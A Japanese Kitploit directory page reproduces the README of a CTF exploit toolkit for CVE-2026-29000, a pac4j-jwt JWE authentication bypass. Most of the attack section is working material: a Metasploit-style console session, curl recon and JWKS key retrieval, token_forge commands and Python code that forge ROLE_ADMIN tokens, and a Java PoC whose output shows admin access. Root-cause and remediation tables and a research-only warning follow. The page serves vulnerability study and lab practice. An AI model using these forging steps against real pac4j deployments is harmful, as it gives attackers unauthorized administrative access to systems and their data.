Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29000 — CTFラボおよびCVE-2026-29000(pac4j-jwt JWE認証バイパス)向けのエクスプロイトツールキット。脆弱なFlaskターゲット、トークン偽造ライブラリ、対話型エクスプロイトコンソール、Java PoCが含まれています。 | Kitploit
ツール/GitHubGitHub/clayofgilgamesh/cve-2026-29000
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト認証学習と教育ラボと実践
GitHubclayofgilgamesh/cve-2026-29000

CVE-2026-29000

CTFラボおよびCVE-2026-29000(pac4j-jwt JWE認証バイパス)向けのエクスプロイトツールキット。脆弱なFlaskターゲット、トークン偽造ライブラリ、対話型エクスプロイトコンソール、Java PoCが含まれています。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-29000 — pac4j-jwt JWE 認証バイパス

pac4j-jwt ライブラリの JWE 認証脆弱性を研究するための CTF ラボ CVSS 9.3 (Critical) · CWE-287 · 影響: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


概要

影響を受けるバージョンの pac4j-jwt では、PlainJWT(alg=none、署名なし)を作成し、それを JWE(JSON Web Encryption)でラップすることで、JWT 認証メカニズム全体をバイパスできます。JWE レイヤーを復号した後、ライブラリは内部の JWT のアルゴリズムを検証しないため、claims(ロールを含む)は完全に信頼されます。

攻撃チェーン:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← バージョン漏洩 → フレームワーク特定
       ↓
OIDC Discovery → JWKS → RSA 公開鍵   ← 公開情報
       ↓
JWE 偽造 (PlainJWT alg=none, ROLE_ADMIN)
       ↓
認証バイパス → GET /admin?token=<JWE>     ← 管理パネルへアクセス
       ↓
機密データを読み取り: 従業員リスト、システム設定、フラグ

プロジェクト構成

root@kitploit:~
CVE-2026-29000/
├── lab/                        # ターゲット – Flask アプリ (NexusBank Employee Portal)
│   ├── app.py                  # 脆弱性のあるメインアプリケーション
│   ├── Dockerfile              # ビルド時に /flag.txt へフラグを埋め込み
│   └── requirements.txt
│
├── token_forge/                # 偽造 JWE トークンを生成する Python ライブラリ
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # 対話型エクスプロイトコンソール (Metasploit スタイル)
│
├── poc/                        # Java PoC – プロセス内バイパスを確認
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

要件

ツールバージョン備考
Docker Desktop24+ラボターゲットの実行
Docker Composev2+Docker Desktop に統合
Python3.11+exploit.py と token_forge の実行
Java + Maven11+Java PoC にのみ必要

インストール

1. リポジトリのクローン

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Python 依存関係のインストール

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. ラボの起動

root@kitploit:~
docker compose up -d lab

ラボが実行中であることを確認:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

フラグのカスタマイズ:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. ラボの停止

root@kitploit:~
docker compose down

エクスプロイト — 対話型コンソール

exploit.py は Metasploit スタイルの対話型コンソールです。ユーザーは情報収集のためのリコンを自分で実行し、その後設定してエクスプロイトします。

root@kitploit:~
python scripts/exploit.py

# またはコマンドラインから事前設定:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

完全なセッション例:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

ブラウザで上記の URL を開き、管理ダッシュボードにアクセスします。

PUBKEY は 3 つの形式をサポート:

root@kitploit:~
# 1. JWKS URL — 自動フェッチ (推奨)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. ダウンロード済みファイル
set PUBKEY /tmp/key.json

# 3. 生の JSON を直接貼り付け
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

手動エクスプロイト (exploit.py を使用しない場合)

ステップ 1 — リコン

root@kitploit:~
# レスポンスヘッダーからフレームワークを検出
curl -sI http://TARGET:8080

# 隠しエンドポイントを探索
curl -s http://TARGET:8080/robots.txt

ステップ 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: pac4j は常にこのエンドポイントを公開
curl -s http://TARGET:8080/.well-known/openid-configuration

# jwks_uri から RSA 公開鍵を取得
curl -s http://TARGET:8080/.well-known/jwks.json

ステップ 3 — JWE トークンの偽造

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

ステップ 4 — 管理パネルへのアクセス

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# バイパスを確認
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# ブラウザで管理ダッシュボードを開く
echo "http://TARGET:8080/admin?token=$TOKEN"

token_forge を Python ライブラリとして使用

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

Java PoC (プロセス内)

Nimbus JOSE + pac4j 6.0.3 を使用して JVM 内で直接バイパスを確認:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# トークンのみ出力
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

テストの実行

root@kitploit:~
pytest tests/ -v

# カバレッジレポート付き
pytest tests/ -v --cov=token_forge --cov-report=term-missing

脆弱性の原因

場所問題
JwtAuthenticator.validateToken()JWE 復号後、SignedJWT.parse() ではなく PlainJWT.parse() を呼び出す
lab 内の _payload_to_claims()base64decode + json.loads を直接実行し、署名を検証しない

誤った処理フロー:

root@kitploit:~
JWE decrypt → payload 取得 → base64decode → json.loads → claims を信頼
                                         ↑ 内部 JWT の署名検証ステップが欠落

修正方法

対策詳細
pac4j-jwt のアップグレード>= 6.3.3 / 5.7.9 / 4.5.9 へ
PlainJWT の拒否JWE 復号後に alg != "none" を確認
バージョンヘッダーの削除本番環境で X-Powered-By を無効化
最小権限コンテナを root 権限で実行しない

参考資料

  • pac4j Security Advisory
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Improper Authentication
  • https://github.com/kernelzeroday/CVE-2026-29000

警告: このリポジトリは、管理された環境でのセキュリティ研究と CTF のみを目的としています。許可されていないシステムでは使用しないでください。

ツールをダウンロード